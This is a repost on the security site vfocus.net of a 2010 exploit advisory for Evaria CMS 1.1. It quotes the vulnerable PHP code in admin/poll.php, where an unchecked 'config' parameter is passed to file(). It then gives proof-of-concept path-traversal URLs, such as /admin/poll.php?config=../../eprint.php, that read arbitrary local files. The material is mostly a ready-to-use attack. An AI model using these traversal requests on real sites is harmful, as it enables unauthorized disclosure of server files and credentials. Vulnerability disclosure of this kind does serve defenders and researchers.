首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Evaria Content Management System 1.1 File Disclosure Vulnerability
来源:vfocus.net 作者:shotor 发布时间:2010-10-01  

# Exploit Title: local file include / File Disclosure
# Date:
# Author: khayeye shotor
# Software Link: http://www.evaria.com/en/?view=download&dload=1
# Version: Evaria Content Management System v.1.1
# Thanks:  khayeye sag , kandome mivei , sinehaye amam and all amehaye irani
-----------


vul code: /path/admin/poll.php

           $file_contents = file("admin/".$current_poll);
             if (((isset($vote_logging))) && (($vote_logging == 1) || ($vote_logging == 3))) {
                foreach ($file_contents as $line) {
                        if (eregi($REMOTE_ADDR, $line)) {
                           display_form();
         echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n  <TR>\n";
         echo "    <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n";
         echo "  </TR>\n</TABLE>\n";
                           $set_already_voted = 1;
                           $vote_allow = 0;
                           break;
                        }
                }
             }
             if (((isset($vote_logging))) && (($vote_logging == 2) || ($vote_logging == 3))) {
                if ((isset($voted)) && ($voted == "on")) {
                   if (!$set_already_voted) {
                      display_form();
       echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n  <TR>\n";
       echo "    <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n";
       echo "  </TR>\n</TABLE>\n";
                   }
                   $vote_allow = 0;
                   break;
                }
             }
             if ($vote_allow) {
                $poll_string = $vote . "|" . $REMOTE_ADDR . "\n";
                $fp = fopen("admin/".$current_poll, "a");
                $string_size = strlen($poll_string);
                if (fputs($fp, $poll_string, $string_size)) {
                   display_form();
       echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n  <TR>\n";
       echo "    <TD class=\"poll_status\" align=\"center\">" . $vote_cast . "</TD>\n";
       echo "  </TR>\n</TABLE>\n";
                }
                fclose($fp);
             }
          }
          break;
   
    case "default":
    display_form();
    break;

   }
}

// Display poll form if no view is called upon...
if (!isset($mode)) {
   display_form();
}
elseif ((isset($vote) == 0) && (isset($mode))) {
   display_form();
   echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n  <TR>\n";
   echo "    <TD class=\"poll_status\" align=\"center\">" . $no_selection . "</TD>\n";
   echo "  </TR>\n</TABLE>\n";
}

function display_form() {
         global $config;
         global $no_voting;
   global $QUERY_STRING;
         echo "<FORM name=\"poll\" action=\"?" . $QUERY_STRING . "\" method=\"post\">\n";
   echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n";
   echo "  <TR>\n";
         $answers = file("admin/".$config);
------------------------------------------------

poc:
/admin/poll.php?config=../../eprint.php

/admin/poll.php?config=[local file]


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Trend Micro Internet Security
·win32/xp sp3 (Tr) About Box Sh
·Microsoft IIS 6.0 ASP Stack Ov
·win32 9x/NT/2k/XP Generic cmd.
·Joomla JE Directory Component
·MP3 Player Utilities 3.57 (AMV
·Joomla JE Job Component SQL in
·Microsoft Unicode Scripts Proc
·iGaming CMS <= 1.5 Blind SQL I
·Quick Player 1.3 Unicode SEH E
·win32/xp sp3 (Tr) cmd.exe Shel
·XFS Deleted Inode Local Inform
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved